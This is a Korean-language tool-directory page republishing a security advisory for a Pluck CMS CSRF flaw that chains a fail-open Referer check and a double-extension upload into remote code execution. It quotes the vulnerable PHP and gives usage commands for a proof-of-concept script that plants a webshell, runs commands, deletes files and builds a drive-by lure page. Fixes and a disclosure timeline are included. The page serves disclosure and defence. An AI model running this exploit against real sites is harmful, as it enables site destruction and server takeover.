Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-70376 — Pluck CMS CSRF에 대한 보안 권고 및 Python PoC: fail-open Referer 검사와 이중 확장자 업로드를 통해 웹셸 배포 및 원격 코드 실행이 가능해집니다. | Kitploit
도구/GitHubGitHub/ilhomjonr/cve-2026-70376
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Pluck CMS CSRF에 대한 보안 권고 및 Python PoC: fail-open Referer 검사와 이중 확장자 업로드를 통해 웹셸 배포 및 원격 코드 실행이 가능해집니다.

저장소 보기
328일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-70376 — Pluck CMS 사이트 전역 CSRF → RCE

Fail-open Referer 검사 + CSRF 토큰 없음 + 이중 확장자 업로드

단 한 번의 관리자 페이지 방문으로 콘텐츠 삭제, 페이지 주입, 웹셸(webshell) 설치가 가능합니다

CVE CVSS 3.1 CWE CWE

Product Status Researcher

한눈에 보기 · 요약 · 근본 원인 · · · ·

공격 체인
익스플로잇
수정 방안
타임라인

📋 한눈에 보기

CVE IDCVE-2026-70376
Tracking IDPT-2026-68036
제품pluck-cms/pluck — Pluck CMS (플랫 파일 방식 PHP)
영향 버전4.7.x ~ 4.7.21-dev / 현재 master
약점CWE-352 (CSRF) · CWE-434 (무제한 업로드, 증폭 요인)
CVSS v3.18.0 — High · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
공격 벡터네트워크 · 권한 없음 · 관리자 페이지 1회 방문 (UI:R)
영향콘텐츠 파괴/DoS, 저장형 콘텐츠 주입, Apache/mod_php 환경에서 RCE
도입 시점커밋 f79f916 (2019년 12월) — 이후 취약 로직 존재
연구자Ilhomjon Rustamov (@IlhomjonR)

🔎 요약

Pluck 관리자 패널은 코드베이스 어디에도 요청별 CSRF 토큰이 없습니다. 모든 상태 변경 관리자 작업은 단일 함수 requestedByTheSameDomain() 하나로만 통제되며, 유일한 방어 수단은 Referer 호스트 비교입니다. 그런데 이 검사는 fail-open(실패 시 허용) 방식입니다. 즉, Referer 헤더가 전혀 없는 요청이 도착하면 함수는 true를 반환하고 해당 작업이 허용됩니다.

공격자 페이지는 Referer 전송 여부를 완전히 통제할 수 있으므로(<meta name="referrer" content="no-referrer">), 악성 페이지를 방문한 로그인 관리자는 크로스 사이트로 권한 있는 작업을 강제로 수행하게 됩니다. 여러 파괴적 작업이 GET으로 실행되며, Pluck은 PHPSESSID에 SameSite 속성을 설정하지 않습니다(브라우저는 SameSite=Lax를 적용하며, 최상위 GET 탐색에서는 여전히 쿠키가 함께 전송됩니다). 따라서 기본 브라우저 설정에서도 크로스 사이트로 해당 작업들에 도달할 수 있습니다.

부차적인 업로드 필터 취약점으로 동일한 CSRF가 shell.php.jpg 이중 확장자 파일을 심을 수 있으며, 이는 Apache/mod_php 호스트에서 CSRF를 드라이브바이 RCE로 전환시킵니다.


🧬 근본 원인

1. Fail-open Referer 검사 — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

외부 Referer가 포함된 크로스 사이트 요청은 (else 분기에서) 올바르게 거부되므로 보호되고 있다는 착각을 불러일으킵니다. 그러나 공격자는 단순히 Referer를 억제해 fail-open 분기에 도달시키기만 하면 해당 요청이 허용됩니다. 이 검사 뒤에는 토큰 계층이 전혀 없습니다.

이 게이트는 admin.php에서 한 번만 적용되며, 그 결과가 전체 액션 스위치에 대해 신뢰됩니다:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. 세션 쿠키에 SameSite 미설정 (증폭 요인)

Pluck은 session_set_cookie_params()를 호출하지 않으므로 PHPSESSID는 빈 기본값을 그대로 물려받습니다 → 브라우저는 SameSite=Lax를 적용하며, 이 경우에도 최상위 GET 탐색에서는 쿠키가 함께 전송됩니다. 따라서 GET에 노출된 작업(deletefile, deleteimage, deletepage, module_delete, theme_delete, logout)은 페이지 1회 방문만으로 위조할 수 있습니다.

3. 이중 확장자 업로드 — data/inc/images.php (RCE 증폭 요인)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

두 검사 모두 손쉽게 우회됩니다:

  • MIME 타입은 클라이언트($_FILES[...]['type'])가 제공하므로 → image/jpeg로 설정;
  • 파일명의 마지막 4자리만 검증하므로 → shell.php.jpg는 .jpg로 끝나 통과합니다.

파일은 images/shell.php.jpg로 저장되며, 다중 확장자(multi-extension) 처리를 지원하는 Apache/mod_php 호스트에서는 PHP로 실행됩니다.


⛓️ 공격 체인

인증된 관리자의 페이지 1회 방문만으로 — 클릭 불필요.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

위조 가능한 작업은 다음과 같습니다:

작업메서드영향
admin.php?action=deletefile&var1=<f>GET임의 업로드 파일 삭제
admin.php?action=deletepage&...GET사이트 페이지 삭제 (DoS)
admin.php?action=module_delete&...GET모듈 제거
admin.php?action=logoutGET관리자 로그아웃
admin.php?action=editpagePOST저장형 페이지 콘텐츠 주입
admin.php?action=images (업로드)POSTshell.php.jpg 설치 → RCE

💥 익스플로잇

동작하는 PoC 툴킷은 exploit/에 있습니다:

  • pluck_csrf_rce.py — fail-open 로직 증명, CSRF로 웹셸 업로드 및 명령 실행, CSRF로 파일 삭제, 또는 유인(lure) 페이지 생성.
  • csrf_poc.html — 피해자 관리자에게 전달되는 독립형 드라이브바이(drive-by) 페이지.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Python 요청은 의도적으로 Referer를 전송하지 않으며, no-referrer 정책 하의 피해자 브라우저를 정확히 재현합니다. 이 로직을 확인해 주는 HTTP 계층의 비대칭성은 다음과 같습니다:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ .php.jpg → RCE 단계는 다중 확장자 파일을 PHP로 실행하는 Apache/mod_php 호스트가 필요합니다. 해당 설정이 되어 있지 않은 환경에서도 CSRF 업로드는 여전히 성공하며, 파괴적 원시 기능(delete/deletepage)은 영향을 받지 않습니다. — CSRF가 핵심 버그이며 RCE는 증폭 요인입니다.


🛠️ 수정 방안

  1. 실제 CSRF 토큰 추가 — 모든 관리자 폼과 모든 상태 변경 링크에 세션별 임의 nonce를 넣고, 서버 측에서 상수 시간 비교(constant-time comparison)로 검증하세요. 이것이 실제 수정이며 Referer 검사는 대체재가 아닙니다.
  2. Fail-closed(실패 시 차단) 적용 — 심층 방어 차원에서 출처(origin) 검증을 유지한다면, Referer/Origin이 없는 요청을 신뢰할 수 없음으로 처리하세요. Origin 헤더를 우선 사용하고, 누락되거나 불일치하면 거부하세요.
  3. GET에서 상태 변경 금지 — deletefile, deletepage, logout 등을 POST로 옮겨 SameSite=Lax가 기본 보호를 제공하도록 하세요.
  4. 세션 쿠키 강화 — session_set_cookie_params()를 통해 SameSite=Strict(또는 Lax), HttpOnly, Secure를 설정하세요.
  5. 업로드 필터 수정 — 최종 저장 파일명을 정확한 확장자 허용 목록(allow-list)으로 검증하고, 실제 이미지 콘텐츠인지 확인하며, 클라이언트가 제공한 MIME 타입을 절대 신뢰하지 마세요.

🕒 타임라인

날짜내용
2019-12취약한 requestedByTheSameDomain() 로직 도입 (f79f916)
2026-07-08소스 코드 감사를 통해 발견; 종단 간(end-to-end) PoC 검증 완료
2026-08-10보안 권고문 초안 작성 (PT-2026-68036)
2026-08-12CVE-2026-70376 배정; 권고문 및 PoC 공개

📚 참고 자료

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: 사이트 간 요청 위조 — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: 위험한 유형의 파일 무제한 업로드 — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ 면책 조항

이 자료는 교육 및 방어 목적과 승인된 보안 테스트 전용으로만 게시되었습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

발견 및 문서화: @IlhomjonR · CVE-2026-70376 · PT-2026-68036

도구 다운로드